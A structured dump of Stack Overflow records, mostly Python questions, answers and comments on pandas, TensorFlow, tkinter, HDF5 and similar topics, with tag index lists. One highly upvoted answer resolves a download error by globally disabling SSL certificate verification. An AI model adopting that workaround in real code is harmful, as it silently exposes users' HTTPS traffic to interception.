downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47314905

http://stackoverflow.com/comment/81497658
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47271040
has text: That's interesting. I had forgotten that multiple labels are allowed, as I didn't have a relevant use case when I first started learning neo4j. I'll have to see how much hassle it would be to discover these unknown labels at runtime. Perhaps give them all the same prefix so I can identify them? Have to see how friendly py2neo will be with multi-labels as well.
score: 0

http://stackoverflow.com/comment/81507580
type: QuestionComment
score: 0
has text: It's because you initialising instance of `ValuePage` before any change occures (on initialisation of `RegApp`), hence there's your problem. Make things more dynamic - use `textvariable` instead of `text`, when you create `Label` in `ValuePage` (`title_label = ttk.Label(self, textvariable=self.controller.shared_data["choice"], font=SUBTITLE_FONT, justify=tk.CENTER)`). Also, a list comprehension of two function calls is a cheap hack!
type: Comment
comment on: http://stackoverflow.com/q/47276107

http://stackoverflow.com/comment/81526956
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47288060
has text: @mast3rd3mon Simple test: run `for _ in range(5): print(random.sample(set(["R", "P", "S"]), 1),end = ", ")`. You should see something like: `['R'], ['P'], ['P'], ['S'], ['S'], `

http://stackoverflow.com/q/47290307
tagged with: python-3.x
tagged with: python-2.7
has title: Function that takes string as Input, evaluate it like a calculator and return the Integer answer
score: 1
has body: I am trying to Implement a function that takes in a string input such as "1+2-3" or "-2+2", evaluate it like a calculator and return the integer answer. In the example, it would return 0 for both inputs. We can assume that there will only be + or - operator (no multiple/division/or any other operator), as well as input is well formed so we don't need to do any validation (i.e. it's always alternating operator/operand). I need it with out using existing Python functions like calc() etc. Instead I tried developing a simple code that does this actually. My code is d = {} sum = 0 for index, value in enumerate(s): if value.isdigit(): pass else: if not value.isdigit(): d[index] = int(s[index]+s[index+1]) for i in d.values(): sum += i But it's working only for the case of "-2+2". How could I make this to work for the case of "1+2-3" also.
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47290976
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47290651
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47291336
tagged with: python
has answer: http://stackoverflow.com/a/47290713
possible better answer: http://stackoverflow.com/a/47290651
answer count: 4
has answer: http://stackoverflow.com/a/47291336

http://stackoverflow.com/a/48394943
answers question: http://stackoverflow.com/q/47322702
type: Answer
accepted answer of: http://stackoverflow.com/q/47322702
score: 1
type: AcceptedAnswer
downvote count: 0
has body: FT232H vs. FT232R are two different chips. The FT232R does not contain the "MPSSE engine", and therefore cannot be used with 3rd-party code examples nor with the FTDI appnote 255 that rely on the MPSSE for i2c master functionality.
upvote count: 1

http://stackoverflow.com/comment/81622229
type: QuestionComment
has text: you can assign the same `StringVar` to `Label` and `Entry` and when you change text in `Entry` then it changes text in `Label` automatically.
comment on: http://stackoverflow.com/q/47334885
score: 1
type: Comment

http://stackoverflow.com/comment/81669349
score: 0
has text: This is a more complete answer than the fgitw with 2 votes.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47358318

http://stackoverflow.com/a/47244686
type: Answer
has comment: http://stackoverflow.com/comment/81440140
answers question: http://stackoverflow.com/q/47244596
downvote count: 0
upvote count: 1
has body: It should work about this way: Create second array which represents numbers "between" the characters, counting up one for, say, A and counting down one for B. For the example this array would look like 0 -1 0 1 0 1 2 1 2 3 2 1 B A A B A A B A A B B During building of the array remember the place(s) where the values are minimal and maximal. If there are multiple maximum or minimum points the task is now reduced to find a maximum and minimum point which are nearest together. Why does this work? It is easy to see that the result of your calc(word) is always the same as the absolute difference of the array numbers "enclosing" this word. Example: For "ABA" calc() will return 1 and if you look at the enclosing numbers for the two occurrences of "ABA", they are 0 and 1 (result 1) and 1 and 2 (also result 1). So the largest possible value of calc() for a given string (which is the desired maximum difference value) is the absolute difference of extreme values of the array numbers which can only appear when array indices with these extreme values are used to "enclose" the substring. Finding shortest extreme value distance Assuming the maximum and minimum points are now contained in two ordered lists l1 and l2 (from smallest to largest index number) the further algorithm is as follows: (Loop start) Ensure that l1[0] &lt; l2[0], otherwise swap l1 and l2 Remember (l1[0], l2[0], l2[0] - l1[0]) as possible result candidate if you hadn't encountered a better candidate before. Remove first element from l1. If l1 is empty now end loop. Go back to loop start.
score: 1
has comment: http://stackoverflow.com/comment/81439956

http://stackoverflow.com/comment/81465517
comment on: http://stackoverflow.com/a/47255964
score: 1
type: Comment
type: AnswerComment
has text: @pyd A little bit of mathemagic. I want to account for situations where the length of the dataframe isn't a perfect multiple of 5. If it is, then `np.tile(np.arange(1, 6), len(df) // 5)` is enough. But if it isn't, then you'll run into length mismatches. I'm trying to account for that.

http://stackoverflow.com/comment/105942451
type: Comment
comment on: http://stackoverflow.com/a/47410972
type: AnswerComment
has text: Tried this and, unfortunately, I still get multiple spawns of my frozen command line app using multiprocessing.Pool on Python 3.7 with joblib dependency. I verified, and `setattr(sys, 'frozen', True)` is executed (as a bomb, however).
score: 1

http://stackoverflow.com/comment/81551127
comment on: http://stackoverflow.com/q/47299949
score: 0
type: Comment
type: QuestionComment
has text: I meant by instead of printing each list in numbers (which is like a row), but printing the first numbers in each list and then printing the 2nd numbers and etc. Kind of like counting down.

http://stackoverflow.com/a/47343255
has body: Here is one implementation: def updateHash(d, key): if key not in d.keys(): d[key] = 3 else: d[key] -= 1 originals = "orig-files.txt" next_step_filenames = "new-files.txt" originals_list = [] with open(originals, 'r') as f: originals_list = f.read().splitlines() next_step_list = [] with open(next_step_filenames, 'r') as f: next_step_list = f.read().splitlines() expected_list = [] d = {} for orig in originals_list: if orig + '-1' not in next_step_list: updateHash(d, orig) if orig + '-2' not in next_step_list: updateHash(d, orig) if orig + '-3' not in next_step_list: updateHash(d, orig) print d
answers question: http://stackoverflow.com/q/47343007
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/81639016

http://stackoverflow.com/comment/81701948
score: 0
has text: You want to return `[[1, 2, 3], [2, 3, 4], [3, 4, 5]]`?
comment on: http://stackoverflow.com/q/47374710
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47310307
has comment: http://stackoverflow.com/comment/81571082
has comment: http://stackoverflow.com/comment/81571284
upvote count: 6
type: Answer
answers question: http://stackoverflow.com/q/47310132
has body: No function I am aware of, but you can still count yourself using a for loop on the tf.trainable_variables(): total_parameters = 0 for variable in tf.trainable_variables(): variable_parameters = 1 for dim in variable.get_shape(): variable_parameters *= dim.value total_parameters += variable_parameters print("Total number of trainable parameters: %d" % total_parameters)
downvote count: 0
score: 6

http://stackoverflow.com/comment/81665271
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47356376
has text: Guess it depends on your definition of "efficient"

http://stackoverflow.com/q/47293290
has title: Tuple that I append to a .txt file will not save to file
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81537574
has comment: http://stackoverflow.com/comment/81537730
tagged with: python
has comment: http://stackoverflow.com/comment/81537438
has body: So I am making an atm program that keeps a record of deposits, withdrawals, and balance. Here is my deposit function def deposite(bal): d=input("How much would you like to deposite? ") newbal = float(bal) + float(d) write = "deposit ", str(d), str(newbal) print(write) f1 = open('atmrecord', 'a') f1.write(str(write) + '\n') print(f1.closed) f1.close() print("Your new balance is", newbal) return newbal 'write' is a tuple I know but I can't for the life of me figure out why it will not save to the .txt file. Earlier in my code I am able to read the file for getting the balance and I thought I had my write command right but it won't save. The code runs fine without any errors and it appears it closes the file when its done but when I open my .txt after running there is never the extra line of data. Any thoughts/tips would be appreciated. Also 'write' = ('deposit ', '1', '10001.0') if d=1 for example
has comment: http://stackoverflow.com/comment/81537570
tagged with: text
has answer: http://stackoverflow.com/a/47293461
score: 0
answer count: 1
tagged with: file
has comment: http://stackoverflow.com/comment/81537762
type: Question

http://stackoverflow.com/comment/81702970
score: 0
type: Comment
has text: @BioRod Glad to hear. I have no idea and wondered myself. Perhaps someone misclicked.
comment on: http://stackoverflow.com/a/47369056
type: AnswerComment

http://stackoverflow.com/a/53516832
downvote count: 0
answers question: http://stackoverflow.com/q/47231408
has body: You can consider this. I also use the SSL module before downloading the data set. It solved this problem! Like this: import ssl ssl._create_default_https_context = ssl._create_unverified_context
has comment: http://stackoverflow.com/comment/134265689
score: 38
upvote count: 38
type: Answer
has comment: http://stackoverflow.com/comment/112925640
has comment: http://stackoverflow.com/comment/97533422

http://stackoverflow.com/comment/81418641
has text: @roganjosh Command Prompt didn't open. Windows Powershell did. And it didn't recognize the file.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47234002
type: QuestionComment

http://stackoverflow.com/comment/81485549
score: 0
comment on: http://stackoverflow.com/q/47267272
type: Comment
type: QuestionComment
has text: you need to define onetoonefield for group and user in `IntNumber` class instead defining int_number as onetoonefield in both classes.

http://stackoverflow.com/a/47367219
has comment: http://stackoverflow.com/comment/81687145
has comment: http://stackoverflow.com/comment/81687095
accepted answer of: http://stackoverflow.com/q/47367195
has body: You can import a file and then use the functions on that file using the import name before the function name. import example #this import the entire file named example.py example.myfunction() #this call a function from example file
score: 14
has comment: http://stackoverflow.com/comment/81686955
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47367195
upvote count: 15
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/81697983

http://stackoverflow.com/comment/81519946
has text: Thanks I switched to django-markdownx, but one problem with markdownx is it doesn't give markdown editor. It is just plain text editor.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47278016

http://stackoverflow.com/q/47379107
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: hdf5
accepted answer: http://stackoverflow.com/a/47979824
type: Question
has body: I have stored a string (and a vector) in my HDF5 archive, for example with the Python interface: import h5py file = h5py.File("example.h5","w") file['/path/to/vector'] = [0., 1., 2.] file['/path/to/string'] = 'test' Now I want the read the string to a std::string. I know how to read the vector (see below), but I have absolutely no idea how to read the string. What particularly don't understand is how to allocate the result, as: The H5Cpp library does not seem to use the STL-containers, but rather raw pointers, requiring pre-allocation. This is somewhat contradicted by the observation HDFView indicates the dimension size to be 1 and the type to be "String, length = variable". Here is how I read the vector: #include "H5Cpp.h" #include &lt;vector&gt; #include &lt;iostream&gt; int main() { // open file H5::H5File fid = H5::H5File("example.h5",H5F_ACC_RDONLY); // open dataset H5::DataSet dataset = fid.openDataSet("/path/to/vector"); H5::DataSpace dataspace = dataset.getSpace(); H5T_class_t type_class = dataset.getTypeClass(); // check data type if ( type_class != H5T_FLOAT ) throw std::runtime_error("Unable to read, incorrect data-type"); // check precision // - get storage type H5::FloatType datatype = dataset.getFloatType(); // - get number of bytes size_t precision = datatype.getSize(); // - check precision if ( precision != sizeof(double) ) throw std::runtime_error("Unable to read, incorrect precision"); // get the size // - read rank (a.k.a number of dimensions) int rank = dataspace.getSimpleExtentNdims(); // - allocate hsize_t hshape[rank]; // - read dataspace.getSimpleExtentDims(hshape, NULL); // - total size size_t size = 0; for ( int i = 0 ; i &lt; rank ; ++i ) size += static_cast&lt;size_t&gt;(hshape[i]); // allocate output std::vector&lt;double&gt; data(size); // read data dataset.read(const_cast&lt;double*&gt;(data.data()), H5::PredType::NATIVE_DOUBLE); // print data for ( auto &amp;i : data ) std::cout &lt;&lt; i &lt;&lt; std::endl; } (compiled with h5c++ -s…
has title: Read string in HDF5/C++
tagged with: python
has answer: http://stackoverflow.com/a/47979824
tagged with: c++

http://stackoverflow.com/q/47309117
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/47394803
has body: import gc, json class leak(object): def __init__(self): pass gc.set_debug(gc.DEBUG_LEAK) while True: leak_ = leak() json.dumps(leak_.__dict__, indent=True) gc.collect() print(f"garbage count: {len(gc.garbage)}") Using the following code under Python 3.6.3, the garbage count keeps increasing and task manager records steady memory increase. However without indent json.dumps(self.__dict__), no leak is observed. Update: Code simplified to highlight the issue.
tagged with: python
type: Question
has title: Does json.dumps leak?
accepted answer: http://stackoverflow.com/a/47394803
upvote count: 3
answer count: 1
downvote count: 0
favorite count: 0
type: AnsweredQuestion
score: 3
tagged with: memory-leaks

odoo-8
tags question: http://stackoverflow.com/q/47234269
tags question: http://stackoverflow.com/q/47381869
tags question: http://stackoverflow.com/q/47332995
tags question: http://stackoverflow.com/q/47370152
tags question: http://stackoverflow.com/q/47298813
tags question: http://stackoverflow.com/q/47316803
tags question: http://stackoverflow.com/q/47297950
tags question: http://stackoverflow.com/q/47363457
tags question: http://stackoverflow.com/q/47324116
type: Tag
tags question: http://stackoverflow.com/q/47372731
tags question: http://stackoverflow.com/q/47363393
tags question: http://stackoverflow.com/q/47379040
tags question: http://stackoverflow.com/q/47225945
tags question: http://stackoverflow.com/q/47335887
tags question: http://stackoverflow.com/q/47296491
tags question: http://stackoverflow.com/q/47322310
tag name: odoo-8
tags question: http://stackoverflow.com/q/47307792
tags question: http://stackoverflow.com/q/47371099
tags question: http://stackoverflow.com/q/47378460
tags question: http://stackoverflow.com/q/47272923

http://stackoverflow.com/comment/81462384
comment on: http://stackoverflow.com/q/47255726
score: 0
has text: Are you looking at all of the values for all of the dictionaries together, or all of the values *per key* for all of the dictionaries?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81574056
has text: Updated my answer so that it outputs the gene name and not the sequence.
score: 0
comment on: http://stackoverflow.com/q/47310850
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47246417
downvote count: 0
score: 8
upvote count: 8
has body: Aggregate by starts of months MS and then adjust the resampled time labels by loffset parameter: df1 = df.resample('MS', loffset=pd.Timedelta(14, 'd')).sum() Sample: rng = pd.date_range('2017-04-03', periods=15, freq='5D') df = pd.DataFrame({'a': range(15)}, index=rng) print (df) a 2017-04-03 0 2017-04-08 1 2017-04-13 2 2017-04-18 3 2017-04-23 4 2017-04-28 5 2017-05-03 6 2017-05-08 7 2017-05-13 8 2017-05-18 9 2017-05-23 10 2017-05-28 11 2017-06-02 12 2017-06-07 13 2017-06-12 14 df1 = df.resample('MS', loffset=pd.Timedelta(14, 'd')).sum() print (df1) a 2017-04-15 15 2017-05-15 51 2017-06-15 39 df1 = df.resample('SMS').sum() print (df1) a 2017-04-01 3 2017-04-15 12 2017-05-01 21 2017-05-15 30 2017-06-01 39
type: Answer
answers question: http://stackoverflow.com/q/47246384

http://stackoverflow.com/comment/81462992
comment on: http://stackoverflow.com/a/47255996
has text: Still, I have the result with DWELL_SEC = 0
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47260281
has comment: http://stackoverflow.com/comment/81471554
has comment: http://stackoverflow.com/comment/81471454
score: 0
has body: There are some design issues with your code which lead to te error you are getting. Your function accepts an argument (calculation) but doesn't do anything with it. Instead it relies on N being a global variable. This is usually considered a bad design. Your function returns a tuple but your calling code doesn't do anything with it. Instead it tries to access local variables that were created inside the function which causes the NameError. As a fix, I suggest passing the information correctly to the function, and the function should return a dictionary instead of a tuple (which will allow clearer access to the returned values rather than remembering indexes). def stats(n): ''' [9,20,15,9,11,19,2,4,16,8] -&gt; MO = 11.30, SD = 6.07 ''' L = [] total = 0 mathsum = 0 for i in range(0, n, 1): x = random.randint(1, 20) L.append(x) for num in L: total += num MO = total / n for i in range(0, n): mathsum += (L[i] - MO) ** 2 sd = math.sqrt((1 / (n - 1)) * mathsum) return {'n': n, 'numbers': L, 'average': '{:2.2f}'.format(MO), 'sd': '{:2.2f}'.format(sd)} n = int(input('Give integer: ')) results = stats(n) print('Number of integers: ', results['n']) print('List: ', results['numbers']) print('Average: ', results['average'], end='\t') print('Standard deviation: ', results['sd'])
answers question: http://stackoverflow.com/q/47260193
type: Answer

http://stackoverflow.com/comment/81545645
type: QuestionComment
type: Comment
score: 0
has text: the output is given in the docstring. I know filename is not defined, but I'm not sure where to define it.
comment on: http://stackoverflow.com/q/47297135

http://stackoverflow.com/comment/81625528
comment on: http://stackoverflow.com/a/47336708
score: 0
type: AnswerComment
has text: oh, wait I didn't configure the below part
type: Comment

http://stackoverflow.com/comment/81682036
type: Comment
type: AnswerComment
has text: Append to the list after the function definition: simple and obvious, and requires less code than before. Just goes to show, "Explicit is better than implicit".
score: 0
comment on: http://stackoverflow.com/a/47357838

http://stackoverflow.com/comment/81638269
score: 0
has text: Also, having just looked at the documentation for `sorted()` now, it probably makes more sense to use `key=lambda kv: kv[1]` instead and specify `reverse=True`.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47342919

http://stackoverflow.com/q/47257002
favorite count: 0
has title: ValueError: Only call `softmax_cross_entropy_with_logits` with named arguments (labels=..., logits=..., ...)
tagged with: anaconda
type: Question
has comment: http://stackoverflow.com/comment/82532206
score: 5
upvote count: 5
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47257073
has body: Can you guide how to fix this? with tf.name_scope('loss'): #cross_entropy = None val = tf.nn.softmax_cross_entropy_with_logits(y_conv, y_) cross_entropy = tf.reduce_mean(val) with tf.name_scope('adam_optimizer'): #train_step = None train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy) I get this error: --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-40-f67d0aecc114&gt; in &lt;module&gt;() 1 with tf.name_scope('loss'): 2 #cross_entropy = None ----&gt; 3 val = tf.nn.softmax_cross_entropy_with_logits(y_conv, y_) 4 cross_entropy = tf.reduce_mean(val) 5 ~/anaconda/lib/python3.6/site-packages/tensorflow/python/ops/nn_ops.py in softmax_cross_entropy_with_logits(_sentinel, labels, logits, dim, name) 1576 """ 1577 _ensure_xent_args("softmax_cross_entropy_with_logits", _sentinel, -&gt; 1578 labels, logits) 1579 1580 # TODO(pcmurray) Raise an error when the labels do not sum to 1. Note: This ~/anaconda/lib/python3.6/site-packages/tensorflow/python/ops/nn_ops.py in _ensure_xent_args(name, sentinel, labels, logits) 1531 if sentinel is not None: 1532 raise ValueError("Only call `%s` with " -&gt; 1533 "named arguments (labels=..., logits=..., ...)" % name) 1534 if labels is None or logits is None: 1535 raise ValueError("Both labels and logits must be provided.") ValueError: Only call `softmax_cross_entropy_with_logits` with named arguments (labels=..., logits=..., ...) Also, tf.__version__ returns '1.0.0' and I have Anaconda Python 3.6.2 on OSX Sierra.
has comment: http://stackoverflow.com/comment/92413071
downvote count: 0
answer count: 1
tagged with: tensorflow

http://stackoverflow.com/comment/81575204
comment on: http://stackoverflow.com/q/47311646
type: Comment
type: QuestionComment
has text: I Didn't Understand
score: 0

http://stackoverflow.com/q/47297293
has answer: http://stackoverflow.com/a/47297850
has body: I'd like to highlight (or color) new values in a DataFrame that previously were NaNs. I have 2 data frames with the same index. One with NaNs df_nan = pd.DataFrame(np.random.randint(10, size = (10, 10))).replace(8, np.nan) df_nan 0 1 2 3 4 5 6 7 8 9 0 NaN NaN 7 0 0 0.0 0 6 2.0 4.0 1 6.0 3.0 7 1 0 5.0 3 5 NaN 7.0 2 5.0 6.0 0 1 0 NaN 2 4 4.0 7.0 3 NaN 2.0 6 3 1 4.0 9 0 5.0 3.0 4 9.0 0.0 5 2 2 5.0 6 0 9.0 1.0 5 9.0 4.0 0 2 3 9.0 2 9 3.0 4.0 6 4.0 4.0 9 6 7 1.0 7 9 5.0 NaN 7 0.0 NaN 9 2 0 5.0 7 6 3.0 NaN 8 9.0 9.0 0 0 4 6.0 3 3 1.0 7.0 9 3.0 6.0 3 2 7 1.0 6 5 2.0 9.0 Another one (an "updated" one) where NaNs have been replaced by new values (means of each column) df_new = df_nan.replace(np.nan, np.mean(df_nan)) df_new 0 1 2 3 4 5 6 7 8 9 0 5.62 4.25 7 0 0 0.0 0 6 2.00 4.00 1 6.00 3.00 7 1 0 5.0 3 5 3.77 7.00 2 5.00 6.00 0 1 0 4.0 2 4 4.00 7.00 3 5.62 2.00 6 3 1 4.0 9 0 5.00 3.00 4 9.00 0.00 5 2 2 5.0 6 0 9.00 1.00 5 9.00 4.00 0 2 3 9.0 2 9 3.00 4.00 6 4.00 4.00 9 6 7 1.0 7 9 5.00 5.25 7 0.00 4.25 9 2 0 5.0 7 6 3.00 5.25 8 9.00 9.00 0 0 4 6.0 3 3 1.00 7.00 9 3.00 6.00 3 2 7 1.0 6 5 2.00 9.00 How can i highlight or color the new values (means) using Pandas .style and .applymap() methods ? Any help would be much appreciated !
upvote count: 2
downvote count: 0
answer count: 1
tagged with: python
favorite count: 0
score: 2
tagged with: python-applymap
type: AnsweredQuestion
tagged with: colors
tagged with: pandas
has title: How to color newly added values in a data frame with Pandas?
tagged with: dataframe
accepted answer: http://stackoverflow.com/a/47297850
type: Question

scipy
tags question: http://stackoverflow.com/q/47361838
tags question: http://stackoverflow.com/q/47342447
tags question: http://stackoverflow.com/q/47251446
tags question: http://stackoverflow.com/q/47346272
tags question: http://stackoverflow.com/q/47314085
tags question: http://stackoverflow.com/q/47342917
tags question: http://stackoverflow.com/q/47234375
tags question: http://stackoverflow.com/q/47238752
tags question: http://stackoverflow.com/q/47303298
tags question: http://stackoverflow.com/q/47259664
tags question: http://stackoverflow.com/q/47298172
tags question: http://stackoverflow.com/q/47317238
tags question: http://stackoverflow.com/q/47369372
tags question: http://stackoverflow.com/q/47356433
tags question: http://stackoverflow.com/q/47252118
type: Tag
tags question: http://stackoverflow.com/q/47237407
tags question: http://stackoverflow.com/q/47286354
tags question: http://stackoverflow.com/q/47367844
tags question: http://stackoverflow.com/q/47312188
tags question: http://stackoverflow.com/q/47315510
tags question: http://stackoverflow.com/q/47280202
tag name: scipy
tags question: http://stackoverflow.com/q/47307862
tags question: http://stackoverflow.com/q/47346615
tags question: http://stackoverflow.com/q/47364660
tags question: http://stackoverflow.com/q/47310270
tags question: http://stackoverflow.com/q/47359129
tags question: http://stackoverflow.com/q/47298729
tags question: http://stackoverflow.com/q/47367508
tags question: http://stackoverflow.com/q/47275957
tags question: http://stackoverflow.com/q/47373050
tags question: http://stackoverflow.com/q/47369459
tags question: http://stackoverflow.com/q/47266965
tags question: http://stackoverflow.com/q/47308962
tags question: http://stackoverflow.com/q/47371787
tags question: http://stackoverflow.com/q/47305744
tags question: http://stackoverflow.com/q/47381835
tags question: http://stackoverflow.com/q/47258292
tags question: http://stackoverflow.com/q/47246942
tags question: http://stackoverflow.com/q/47272699
tags question: http://stackoverflow.com/q/47235152
tags question: http://stackoverflow.com/q/47228361
tags question: http://stackoverflow.com/q/47255799
tags question: http://stackoverflow.com/q/47369579

http://stackoverflow.com/q/47310351
downvote count: 0
has body: I have a list of empty lists as such: some_lists = [[]] * 3 [[], [], []] I want to append an integer to the first sublist: some_lists[0].append(1) But it appends the integer 1 to all the sublists and generates: [[1], [1], [1]] How do I append elements individually to the sublists?
tagged with: python
duplicate of: http://stackoverflow.com/q/240178
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/47310396
answer count: 1
has title: Python appending to a sublist in a list of lists
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47310396
upvote count: 2
linked to: http://stackoverflow.com/q/240178

http://stackoverflow.com/comment/81418650
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47234002
has text: Ok interesting, i dont know why that gave you Powershell. How did you install python and what version?

http://stackoverflow.com/a/47362308
has body: The easiest is to convert your friend lists to sets. You can do this using a dict comprehension like so d = {0: [1, 2, 3, 4, 5, 6, 7, 8, 9], 1: [0, 9, 4, 6, 7], 2: [8, 9, 3, 6, 0], 3: [8, 9, 2, 0], 4: [8, 0, 1, 6, 7], 5: [0, 9], 6: [8, 0, 2, 4, 1], 7: [8, 0, 4, 1], 8: [0, 2, 3, 4, 6, 7], 9: [0, 1, 2, 3, 5]} ds = {k:set(v) for k, v in d.items()} Now you can find the shared friends of, say, 2 and 4 by intersecting ds[2] &amp; ds[4] -&gt; {0, 8, 6} and you can count them using len len(ds[2] &amp; ds[4]) Finally, you can make a loop to find the best match (a is the input, b is the output): def best_match_for(a): b = None af = ds[a] best = -1 for k, v in ds.items(): if k!=a and not k in af: ovlp = len(af &amp; v) if ovlp &gt; best: best = ovlp b = k return b, best if best &gt; 0 else None
has comment: http://stackoverflow.com/comment/81678268
has comment: http://stackoverflow.com/comment/81678174
has comment: http://stackoverflow.com/comment/81678409
type: Answer
accepted answer of: http://stackoverflow.com/q/47361901
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47361901
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81602019
type: QuestionComment
has text: Version number: '0.19.1'
score: 0
comment on: http://stackoverflow.com/q/47324921
type: Comment

http://stackoverflow.com/comment/81635858
comment on: http://stackoverflow.com/q/47341726
score: 0
type: Comment
type: QuestionComment
has text: alfasin thanks, your guess worked!!

join
type: Tag
tags question: http://stackoverflow.com/q/47241949
tag name: join
tags question: http://stackoverflow.com/q/47226429
tags question: http://stackoverflow.com/q/47266502
tags question: http://stackoverflow.com/q/47269076
tags question: http://stackoverflow.com/q/47380113
tags question: http://stackoverflow.com/q/47346542
tags question: http://stackoverflow.com/q/47282059

http://stackoverflow.com/a/47261421
has comment: http://stackoverflow.com/comment/81481131
has comment: http://stackoverflow.com/comment/81474999
answers question: http://stackoverflow.com/q/47261291
has comment: http://stackoverflow.com/comment/81550631
type: Answer
has comment: http://stackoverflow.com/comment/81550620
score: 0
has comment: http://stackoverflow.com/comment/81575718
has comment: http://stackoverflow.com/comment/81507344
has comment: http://stackoverflow.com/comment/81517649
has body: I think that using Python for this specific task will not be the best. Therefore I suggest you to use this simple bash script: ssh -q user@server exit result=$(echo $?) if [ $result -eq 0 ]; then echo "ok" else echo "ko" fi Save this script on Server A and then +x and run it: ssh user@serverB ssh user@serverC exit result=$(echo $?) if [ $result -eq 0 ]; then echo "ok" else echo "ko" fi
has comment: http://stackoverflow.com/comment/81517549
has comment: http://stackoverflow.com/comment/81480986
has comment: http://stackoverflow.com/comment/81550561

http://stackoverflow.com/a/47301580
type: Answer
has body: Please use the Django signals(post_save) with celery in order trigger the SMS sending process when a new object is created I think it is the most efficient way to use. for easy implementation you can just use the post_save signal in order to trigger the SMS sending process please refer this link
score: 0
has comment: http://stackoverflow.com/comment/81554272
answers question: http://stackoverflow.com/q/47300986

http://stackoverflow.com/a/47357899
type: AcceptedAnswer
has body: The basic algorithm for running something periodically looks like this: def refresh(root): &lt;do whatever you want here&gt; root.after(60000, refresh, root) When you call this function once, it will do whatever you want, then schedule itself to be called again in one minute. You need to make sure that &lt;do whatever you want here&gt; takes only a few hundred milliseconds. Otherwise your application will get laggy, or freeze. The mistake you made in your code is here: master.after(60000,self.update(master,frame)) This is identical to the following: result = self.update(master, frame) master.after(60000, result) The important thing to remember is that after requires a callable as the first argument after the number of milliseconds. If that callable needs arguments, they can be appended as additional arguments.
accepted answer of: http://stackoverflow.com/q/47357808
has comment: http://stackoverflow.com/comment/81670129
has comment: http://stackoverflow.com/comment/81670225
answers question: http://stackoverflow.com/q/47357808
type: Answer
has comment: http://stackoverflow.com/comment/81669911
score: 0

http://stackoverflow.com/a/47371115
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47369015
has body: Check what is written in the error traceback: File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/pandas_datareader/base.py", line 7, in &lt;module&gt; import pandas.compat as compat pandas_datareader/base.py calls (imports) pandas.compat you named your script pandas.py - that has shadowed the Pandas module and your script doesn't contain compat. Solution: Rename /Users/lcc/virtualenv/matplotlib/pandas.py to something that does NOT duplicate/shadow any of Python module names. For example: /Users/lcc/virtualenv/matplotlib/my_first_pandas_prog.py
type: Answer
has comment: http://stackoverflow.com/comment/81697048
score: 1
answers question: http://stackoverflow.com/q/47369015
has comment: http://stackoverflow.com/comment/81697088
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81568101
comment on: http://stackoverflow.com/a/47308377
type: AnswerComment
score: 0
type: Comment
has text: I find it - [timings](https://stackoverflow.com/a/47118796/2901002). But it depends of sizes of groups - first vary gad times for many groups, second better times for less. ;)

http://stackoverflow.com/comment/88396792
comment on: http://stackoverflow.com/a/50641533
score: 0
has text: It works only in python2. Python3 removed this with key function
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47342659
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81637776
has comment: http://stackoverflow.com/comment/81638212
has body: Let's try replace + to_numeric: df.astype(str).replace('[^\d.]', '', regex=True)\ .apply(pd.to_numeric, errors='coerce') Year VTP VTT VKB VDP VCL VLX VVL VCT 0 2007 NaN NaN NaN NaN NaN NaN NaN NaN 1 2008 50.0 54.0 55.0 56.0 56.0 56.0 56.0 55.0 2 2011 49.0 49.0 48.0 46.0 46.0 48.0 48.0 49.0 3 2013 44.0 48.0 47.0 49.0 48.0 49.0 50.0 51.0 4 2015 47.0 47.0 50.0 49.0 48.0 49.0 50.0 48.0
accepted answer of: http://stackoverflow.com/q/47342185
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47342185
has comment: http://stackoverflow.com/comment/81637704
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/53193817
has body: If you want to use a dictionary for attributes then you can do it with @Joel second example cities.add_edge('Boston', 'Nashville', attr_dict = {'distance':0.4}) however in this case you will get 'attr_dict' as an attribute in which you will have your dictionary. Like this. cities.edges(data=True) will return EdgeDataView([('Boston', 'Nashville', {'attr_dict': {'distance': 0.4}})]) A way to get only your dictionary in attributes is add_edges_from(): cities.add_edges_from([('San Diego','LA',{'distance':0.4})]) cities.add_edges_from([('NY','Nashville',{'distance':5.6}), ('Boston','DC',{'distance':0.8})]) cities.edges(data=True) will return EdgeDataView([('San Diego', 'LA', {'distance': 0.4}), ('NY', 'Nashville', {'distance': 5.6}), ('Boston', 'DC', {'distance': 0.8})])
type: Answer
upvote count: 3
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/47369732

http://stackoverflow.com/comment/137651797
